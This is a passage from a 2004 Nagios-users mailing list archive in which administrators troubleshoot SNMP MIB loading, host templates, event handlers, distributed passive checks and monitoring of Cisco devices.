the mib files that was installed with the net-snmp package, but when I add a mib file to /usr/share/snmp/mibs and restart the snmptrapd appear the following error: /etc/snmp/snmptrapd.conf: line 27: Error: Bad trap OID in traphandle directive: CISCO-ACCESS-ENVMON-MIB::caemTemperatureNotification and when I execute: >> snmptranslate -Ib -On caemSupplyStatusTable -m /usr/share/snmp/mibs/CISCO-ACCESS-ENVMON-MIB.txt appear the following error: Unlinked OID in CISCO-ACCESS-ENVMON-MIB: ciscoAccessEnvMonMIB ::= { ciscoMgmt 61 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemSupplyStatusTable ::= { caemObjects 1 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemSupplyFailedComponent ::= { caemSupplyStatusEntry 1 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemGroups ::= { caemConformance 2 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemCompliances ::= { caemConformance 1 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemCompliance ::= { caemCompliances 1 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemGroup ::= { caemGroups 1 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: ciscoAccessEnvMonMIB ::= { ciscoMgmt 61 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemVoltageNotification ::= { caemMIBNotifications 2 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemTemperatureNotification ::= { caemMIBNotifications 1 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemConformance ::= { ciscoAccessEnvMonMIB 3 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemMIBNotificationPrefix ::= { ciscoAccessEnvMonMIB 2 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemObjects ::= { ciscoAccessEnvMonMIB 1 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemMIBNotifications ::= { caemMIBNotificationPrefix 0 } Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemSupplyStatusEntry ::= { caemSupplyStatusTable 1 } Unable to find a matching object identifier for "caemSupplyStatusTable" How can I do to solve that? Thanks, Jeyri Bautista ----- Original Message ----- From: "Subhendu Ghosh" To: "Jeyri bautista" Cc: Sent: Thursday, March 11, 2004 3:05 PM Subject: Re: [Nagios-users] Add mib files to /usr/share/snmp/mibs On Thu, 11 Mar 2004, Jeyri bautista wrote: > Hi, > > I?m receiving snmp traps with my nagios, but I need add other mib files > to can receive other traps types, but when I copy the new mib file to > the path /usr/share/snmp/mibs all my check_snmp goes to warning state. > > I read the faq, but I don?t understood how to solve that. > > I don?t know if I have to do other thing that copy the mib in the path. > > Anybody can help me, > > Thanks, > > Jeyri It means that the mibs files you added do not have the corrent syntax. The net-snmp package is relatively strict about syntax. If you don't feel comfortable correcting the syntax, then change the invocation of check_snmp Normally check_snmp will accept either numeric OIDs (e.g. 1.3.6.1.2.1.1.0) or textual (e.g. system.0). When getting textual OIDs, it needs to convert them to numeric OIDS. This is where the mib files come into the picture. Bad syntax generates output on stderr and causes a warning. To bypass this, make sure you are passing only numeric OIDs to check_snmp and also add the "-m :" option to check_snmp. The -m option specifies the mib modules to load. Just providing a : makes it an empty list and none of the mibs are loaded. This also make the check_snmp plugin run faster. To convert you textual oids to numeric, try: snmptranslate -Ib -On textual oid -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Thu Mar 11 22:56:47 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Thu, 11 Mar 2004 16:56:47 -0500 Subject: Large scale network monitoring limits with nagios Message-ID: > This is just a glancing overview of how we handled > performance issues. If > anyone is interested in a more detailed HowTo type document, > I'll see what I > can whip-up. Also, I don't do pie charts, but I think my > graphs are pretty > okay in comparison to the uptimesoftware folks ;) I'd be really interested in this, both as an overview as a detailed view of how it was done. As an aside, sounds like a wonderful SysAdmin magazine article! ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click From aphsiao at yahoo.com Thu Mar 11 22:41:33 2004 From: aphsiao at yahoo.com (Angela) Date: Thu, 11 Mar 2004 21:41:33 +0000 (UTC) Subject: And/Or Logic and Event Handlers References: <200305041000.h44A0iP18953@spectre.freeparking.co.nz> Message-ID: Jamie Baddeley vpc.co.nz> writes: > > Hi All, > > Here's one that I don't think has been asked before. > > When I have a critical service/host down event on Box A *and* Box B, I'd like > to make an event handler that does "something" to Box C. > > Event Handlers are no problem. It's the logic required to trigger the handler > that's not immediately obvious. > > ..Or is it a tricky combination of check_cluster and event handlers? > > peace. > > jamie > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Nagios-users mailing list > Nagios-users lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > Hi, I'm trying to do something really similar to the problem you described here. Basically, I want an event handler that will restart a process only when I know several services that use that process are not working. Did you ever figure out a good way to do this? Or know where I can find information on how to? I'm thinking about writing a global event handler to do this, but there doesn't seem to be much help about writing global event handlers out there. Thank you for all your help! ~Angela ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From GWCOOK at mactec.com Thu Mar 11 22:44:22 2004 From: GWCOOK at mactec.com (Cook, Garry) Date: Thu, 11 Mar 2004 14:44:22 -0700 Subject: Template shortcut problem? Message-ID: <41FD7929498A174DAB86C45F28E0EC0D3EA3E1@golden-m.mactec.com> nagios-users-admin at lists.sourceforge.net wrote: > Hi all! I'm starting to play around with 2.0a and I have it working so > now I'm looking at doing some things with template-magic that > I probably > should have done a long time ago. Unfortunately I'm doing something > wrong and could use another pair of eyes. I basically have about 1600 > hosts that I'm looking at for this that are split up into 138 > hostgroups with most hosts being in two different hostgroups. I'm > trying to use template magic to eliminate having to specify each as an > argument to the > hostgroup 'members' directive by using the 'hostgroups' > directive in the > host definition and to simplify my configs like so -- > > # Host definition > define host { > use generic-host > host_name > alias Alcoa Elementary/LEA > address > hostgroups all-east-tn,tnops-alcoa-tn } > [snip] > Thanks! In the host definition, try removing the 'host_name' line and changing the hostgroups line to 'hostgroup_name'. Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Thu Mar 11 23:04:47 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Thu, 11 Mar 2004 17:04:47 -0500 Subject: network with 70 switches and routers Message-ID: > On my Cisco gear I monitor interface states, cpu usage, memory usage, > BGP sessions, environment variables (temperature and > whatnot), bandwidth > usage (cooperation with MRTG here), and have written a > plugin to backup > my router/switch configs to a tftp server. Garry, If any of the above are custom plugins (particularly the config backup!) I'd love to see them. > > 2. My boss wants to know how many hours it takes to work > > oneself into the > > subject and to integrate these 70 devices into nagios, > > if you are completely new to nagios. Has someone experience ? > > I would guess everyone on the list has experience being > completely new > to Nagios. However, the setup time involved will vary > depending on the > user. Are you also completely new to Linux? If not, then I would bet > that it will take you a 'reasonable' amount of time. Just > make sure that > you use the template config file setup, as this will save you a great > deal of configuration time. Even with templates, a new site or new set of devices can take considerable time (particularly if you're a sloppy typer and have to keep verifying the file and rechecking your typos, like me!). If you just want to start out and run a few icmp ping, telnet, ssh, smtp type checks, shouldn't take you more than half a day to start to get the hang of it by creating a few hosts and services, a hostgroup or two, and then create some users who only have access to a few hosts and test that. >From there it's up to you to decide how long it will take to move past simple checks and start implementing Nagios site wide. Honestly, my hardest part of setting up nagios is remembering to put .htaccess in both ./share and ./sbin and the correct permissions on the cmd file. And then I feel like an idiot for finding the answer in my old posts to the newsgroup :) Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 11 23:05:51 2004 From: marc at ena.com (Marc Powell) Date: Thu, 11 Mar 2004 16:05:51 -0600 Subject: Template shortcut problem? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A32A@mismail2.ena.com> On Thursday, March 11, 2004 3:44 PM, Cook, Garry shared with us: > nagios-users-admin at lists.sourceforge.net wrote: > > Hi all! I'm starting to play around with 2.0a and I have it working > > so now I'm looking at doing some things with template-magic that I > > probably should have done a long time ago. Unfortunately I'm doing > > something wrong and could use another pair of eyes. I basically have > > about 1600 hosts that I'm looking at for this that are split up into > > 138 hostgroups with most hosts being in two different hostgroups. > > I'm trying to use template magic to eliminate having to specify > > each as an argument to the hostgroup 'members' directive by using > > the 'hostgroups' directive in the > > host definition and to simplify my configs like so -- > > > > # Host definition > > define host { > > use generic-host > > host_name > > alias Alcoa Elementary/LEA > > address > > hostgroups all-east-tn,tnops-alcoa-tn } > > > [snip] > > Thanks! > > In the host definition, try removing the 'host_name' line and > changing the hostgroups line to 'hostgroup_name'. How then would I associate a service with a particular host? From my experience, host_name is the single most important key that's used by everything and can not be removed. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From GWCOOK at mactec.com Thu Mar 11 23:13:50 2004 From: GWCOOK at mactec.com (Cook, Garry) Date: Thu, 11 Mar 2004 15:13:50 -0700 Subject: Template shortcut problem? Message-ID: <41FD7929498A174DAB86C45F28E0EC0D3EA3E4@golden-m.mactec.com> Marc Powell wrote: > On Thursday, March 11, 2004 3:44 PM, Cook, Garry shared with us: > >> nagios-users-admin at lists.sourceforge.net wrote: >>> Hi all! I'm starting to play around with 2.0a and I have it working >>> so now I'm looking at doing some things with template-magic that I >>> probably should have done a long time ago. Unfortunately I'm doing >>> something wrong and could use another pair of eyes. I basically have >>> about 1600 hosts that I'm looking at for this that are split up into >>> 138 hostgroups with most hosts being in two different hostgroups. >>> I'm trying to use template magic to eliminate having to specify >>> each as an argument to the hostgroup 'members' directive by using >>> the 'hostgroups' directive in the >>> host definition and to simplify my configs like so -- >>> >>> # Host definition >>> define host { >>> use generic-host >>> host_name >>> alias Alcoa Elementary/LEA >>> address >>> hostgroups > all-east-tn,tnops-alcoa-tn } >>> >> [snip] >>> Thanks! >> >> In the host definition, try removing the 'host_name' line and >> changing the hostgroups line to 'hostgroup_name'. > > How then would I associate a service with a particular host? From my > experience, host_name is the single most important key that's used by > everything and can not be removed. I apologize. I fired off that email and didn't even realize what I had typed. I thought that this was your service definition, not host definition. I was attempting to explain how to simplify your service defs by using hostgroups instead of listing all of the host names. It doesn't look like that was what you were asking for. It's been a long day... Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Thu Mar 11 23:06:57 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Thu, 11 Mar 2004 17:06:57 -0500 Subject: Distributed Woes - Passive Check Results not being submitted to Master Message-ID: > I have followed the recommendations on > http://nagios.sourceforge.net/docs/1_0/distributed.html to set up a > simple distributed monitoring system. But to no avail. So I am lost. > Being speculative I have either fscked up or nagio is not calling the > ocsp_command. I'd say I have messed up, but there is no output on the > nagios log to confirm if the ocsp command is being run or not. AJ, In the left hand menu is an "Event Log" link. Does anything show up there at all in relation to the host/service being checked? Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From GWCOOK at mactec.com Thu Mar 11 23:31:00 2004 From: GWCOOK at mactec.com (Cook, Garry) Date: Thu, 11 Mar 2004 15:31:00 -0700 Subject: network with 70 switches and routers Message-ID: <41FD7929498A174DAB86C45F28E0EC0D3EA3E5@golden-m.mactec.com> Robert Nelson wrote: >> On my Cisco gear I monitor interface states, cpu usage, memory >> usage, BGP sessions, environment variables (temperature and >> whatnot), bandwidth usage (cooperation with MRTG here), and have >> written a plugin to backup my router/switch configs to a tftp >> server. > > Garry, > > If any of the above are custom plugins (particularly the > config backup!) I'd love to see them. > The tftp backup plugin and the bandwidth usage are custom. I haven't shared them yet due to the fact that they are not yet ready for prime time. The bandwidth usage is further along, and I'm using it in production, so I've attached it. It requires MRTG/RRD to check against. I'm not really ready to share the tftp backup plugin, although that is my intention. I've tested it from the command line but not from within Nagios. I guess that I might as well throw it out there too. Maybe you can test it out for me, as I'm too swamped to work on it much this week anyway. It should work against IOS routers and switches and CatOS switches. I'm still looking for feedback on whether or not a plugin that performs an 'action' as opposed to a 'check' fits the standard definition of 'plugin'. I suppose if it did not, they would be called 'checks' instead of 'plugins', but the only ones that I see in the distro are indeed checks. I'm considering making it check the fileage of an archived config, and then have an included event handler upload the config to the tftp server based on the status. But I'd rather not go this route unless absolutely necessary. Any feedback is appreciated... Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) -------------- next part -------------- A non-text attachment was scrubbed... Name: check_rrd_bw.sh Type: application/octet-stream Size: 3703 bytes Desc: check_rrd_bw.sh URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: check_cisco_config_backup.sh Type: application/octet-stream Size: 5726 bytes Desc: check_cisco_config_backup.sh URL: From jhennessy at mitchamcouncil.sa.gov.au Thu Mar 11 23:37:55 2004 From: jhennessy at mitchamcouncil.sa.gov.au (Justin Hennessy) Date: Fri, 12 Mar 2004 09:07:55 +1030 Subject: network with 70 switches and routers Message-ID: Hi All, Saw this post and had to ask. I am trying to get check SNMP working butI am very new to this protocol. I have read all of the nagios doco and it seems to make alot of assumptions about knowledge, where is a good place to start to try and understand traps and MIB files? Thanks, Justin >>> "Cook, Garry" 12/03/2004 3:00:08 am >>> > I am completely new to nagios. > > I have a network with about 70 switches and routers from cisco. > > 1. Is it sensible or possible to use nagios with cisco devices. IMHO, it is BOTH sensible and possible. The latter part of that is actually fact, not opinion. I monitor over 150 Cisco devices using Nagios, as well as many HP switches, Nokia Firewalls, Windows and Linux servers. I don't monitor printers, but other people do. On my Cisco gear I monitor interface states, cpu usage, memory usage, BGP sessions, environment variables (temperature and whatnot), bandwidth usage (cooperation with MRTG here), and have written a plugin to backup my router/switch configs to a tftp server. > 2. My boss wants to know how many hours it takes to work > oneself into the > subject and to integrate these 70 devices into nagios, > if you are completely new to nagios. Has someone experience ? I would guess everyone on the list has experience being completely new to Nagios. However, the setup time involved will vary depending on the user. Are you also completely new to Linux? If not, then I would bet that it will take you a 'reasonable' amount of time. Just make sure that you use the template config file setup, as this will save you a great deal of configuration time. Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jbautista at intercable.net.ve Thu Mar 11 23:47:47 2004 From: jbautista at intercable.net.ve (Jeyri bautista) Date: Thu, 11 Mar 2004 18:47:47 -0400 Subject: Add mib files to /usr/share/snmp/mibs References: <018501c407ad$498fe440$2605020a@bjeyri> Message-ID: <019a01c407ba$dfcf41f0$2605020a@bjeyri> Hi, the problem was solved. I need copy too the others mib files relationed with this other. Thanks, Jeyri Bautista ----- Original Message ----- From: "Jeyri bautista" To: "Subhendu Ghosh" Cc: Sent: Thursday, March 11, 2004 5:10 PM Subject: Re: [Nagios-users] Add mib files to /usr/share/snmp/mibs > Thanks, I solved the problem, but now I have other problem. > > My nagios receive the traps from my routers cisco, and is running the > snmptrapd daemon to receive this traps. > > I create a snmptrapd.cong file that compare the traps received with the mibs > files, it is working very well with the mib files that was installed with > the net-snmp package, but when I add a mib file to /usr/share/snmp/mibs and > restart the snmptrapd appear the following error: > > /etc/snmp/snmptrapd.conf: line 27: Error: Bad trap OID in traphandle > directive: CISCO-ACCESS-ENVMON-MIB::caemTemperatureNotification > > and when I execute: > >> snmptranslate -Ib -On caemSupplyStatusTable -m > /usr/share/snmp/mibs/CISCO-ACCESS-ENVMON-MIB.txt > > appear the following error: > > Unlinked OID in CISCO-ACCESS-ENVMON-MIB: ciscoAccessEnvMonMIB ::= { > ciscoMgmt 61 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemSupplyStatusTable ::= { > caemObjects 1 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemSupplyFailedComponent ::= > { caemSupplyStatusEntry 1 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemGroups ::= { > caemConformance 2 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemCompliances ::= { > caemConformance 1 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemCompliance ::= { > caemCompliances 1 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemGroup ::= { caemGroups 1 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: ciscoAccessEnvMonMIB ::= { > ciscoMgmt 61 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemVoltageNotification ::= { > caemMIBNotifications 2 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemTemperatureNotification ::= > { caemMIBNotifications 1 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemConformance ::= { > ciscoAccessEnvMonMIB 3 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemMIBNotificationPrefix ::= > { ciscoAccessEnvMonMIB 2 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemObjects ::= { > ciscoAccessEnvMonMIB 1 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemMIBNotifications ::= { > caemMIBNotificationPrefix 0 } > Cannot adopt OID in CISCO-ACCESS-ENVMON-MIB: caemSupplyStatusEntry ::= { > caemSupplyStatusTable 1 } > Unable to find a matching object identifier for "caemSupplyStatusTable" > > How can I do to solve that? > > Thanks, > > Jeyri Bautista > > ----- Original Message ----- > From: "Subhendu Ghosh" > To: "Jeyri bautista" > Cc: > Sent: Thursday, March 11, 2004 3:05 PM > Subject: Re: [Nagios-users] Add mib files to /usr/share/snmp/mibs > > > On Thu, 11 Mar 2004, Jeyri bautista wrote: > > > Hi, > > > > I?m receiving snmp traps with my nagios, but I need add other mib files > > to can receive other traps types, but when I copy the new mib file to > > the path /usr/share/snmp/mibs all my check_snmp goes to warning state. > > > > I read the faq, but I don?t understood how to solve that. > > > > I don?t know if I have to do other thing that copy the mib in the path. > > > > Anybody can help me, > > > > Thanks, > > > > Jeyri > > It means that the mibs files you added do not have the corrent syntax. > The net-snmp package is relatively strict about syntax. > > If you don't feel comfortable correcting the syntax, then change the > invocation of check_snmp > > > Normally check_snmp will accept either numeric OIDs (e.g. 1.3.6.1.2.1.1.0) > or textual (e.g. system.0). When getting textual OIDs, it needs to > convert them to numeric OIDS. This is where the mib files come into the > picture. Bad syntax generates output on stderr and causes a warning. > > To bypass this, make sure you are passing only numeric OIDs to check_snmp > and also add the "-m :" option to check_snmp. > > The -m option specifies the mib modules to load. Just providing a : makes > it an empty list and none of the mibs are loaded. > > This also make the check_snmp plugin run faster. > > To convert you textual oids to numeric, try: > > snmptranslate -Ib -On textual oid > > -- > > -sg > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting > any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Fri Mar 12 00:08:29 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu, 11 Mar 2004 18:08:29 -0500 (EST) Subject: nagios -d processes In-Reply-To: <1078931129.14436.86.camel@localhost> References: <1078931129.14436.86.camel@localhost> Message-ID: On Wed, 10 Mar 2004, jeff vier wrote: > On Tue, 2004-03-09 at 18:34, Subhendu Ghosh wrote: > > you should only have one nagios process showing the -d switch. > > Mine has one consistent process with a -d, but every service check > spawns another one. So sometimes there is 30 or 50 or sometimes 100. > > this is 2.0a, notably. > This is normal. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Fri Mar 12 00:07:09 2004 From: james at expresscomputers.com (James Bowes) Date: Thu, 11 Mar 2004 15:07:09 -0800 Subject: Monitoring ntbackup Message-ID: Hi all. First let me say thanks for the responses to my previous Exchange services question. It works as "check_nt_service!MSExchangeIS". One of my mates asked me if there's any way to monitor NTBackup, specifically to see if ran when it was supposed to or not or ejected the tape. Personally I don't know if that's the intent of using Nagios or not... I thought I should pose the question to the list to be sure... Thanks again for the Exchange responses everyone! Regards, James Bowes, Senior Consultant, Express Computer Service Centre. 604-535-6508 ext.305 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fede at inalambrica.net Fri Mar 12 01:27:19 2004 From: fede at inalambrica.net (Federico Figueroa C.) Date: Thu, 11 Mar 2004 18:27:19 -0600 Subject: problems with icons Message-ID: <20040311182719.619e1b1f.fede@inalambrica.net> Hi, I upgraded from nagios 1.1 to 1.2 using debian sid packages, everything seems to be ok, except I can't get the icons to be displayed, acording to the source deb it was configured with the --with-template-extinfo option, and I changed the statusmap_image lines to gd2_image in the hostextinfo.cfg file, has anyone experienced this problem? or do you have any ideas on how to debug it? TIA. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From nagios at nagios.org Fri Mar 12 01:33:32 2004 From: nagios at nagios.org (Ethan Galstad) Date: Thu, 11 Mar 2004 18:33:32 -0600 Subject: Distributed Woes - Passive Check Results not being submitted to Master In-Reply-To: <003701c40795$51d26140$cbe8fea9@core> References: <404FAB02.17415.190D5EB@localhost> Message-ID: <4050B0FC.28344.594C27@localhost> If you recently enabled the 'obsess_over_services' option and you've been using state retention, Nagios may still be using the old value ('0') instead of the one you entered in the config file. To fix this, change the 'use_retained_program_state' variable in nagios.cfg to 0 and restart Nagios. Note that individual services may suffer from the same problem, as there is a per-service option that allows you to enable/disable ocsp processing. Depending on how you've used the templates, you could either set the 'retain_nonstatus_information' in the templates to be '0' (and then restart Nagios) or simply disable retention altogether (using the 'retain_state_information' variable in nagios.cfg), restart Nagios, and then re-enable retention. If retention doesn't appear to be the cause of your problem, change your obsessive command to simply append the check result data to a temp file, rather than piping it to the send_nsca client. That will allow you to determine whether or not the ocsp command is actually being executed or not. On 11 Mar 2004 at 18:18, AJ McKee wrote: > --snip > >The problem is likely with /bin/echo being used in the > >submit_check_result script. I have replaced the example in CVS to > >use printf for better portability. Use the following lines of code > >in the script instead of what's posted online in the docs. I'll > >update the docs on the site to reflect the new code. > --/snip > > Cheers Ethan, > > I have changed the scripts to reflect your changes. However still no > joy. It appears that nagios is not running the ocsp defined command > after a service check has been submitted. My nagios.cfg has the > following; > > obsess_over_services=1 > ocsp_command=obsessive_svc_handler > > In miscommands.cfg > > define command{ > command_name obsessive_svc_handler > command_line > /usr/local/nagios/libexec/eventhandlers/obsessive_svc_handler > $HOSTNAME$ '$SERVICEDESC$' $SERVICESTATE$ '$OUTPUT$' > } > > > I can run the scripts with the following arguments and it posts to the > master server no problem. $printf "www.myhost.com\tTotal > 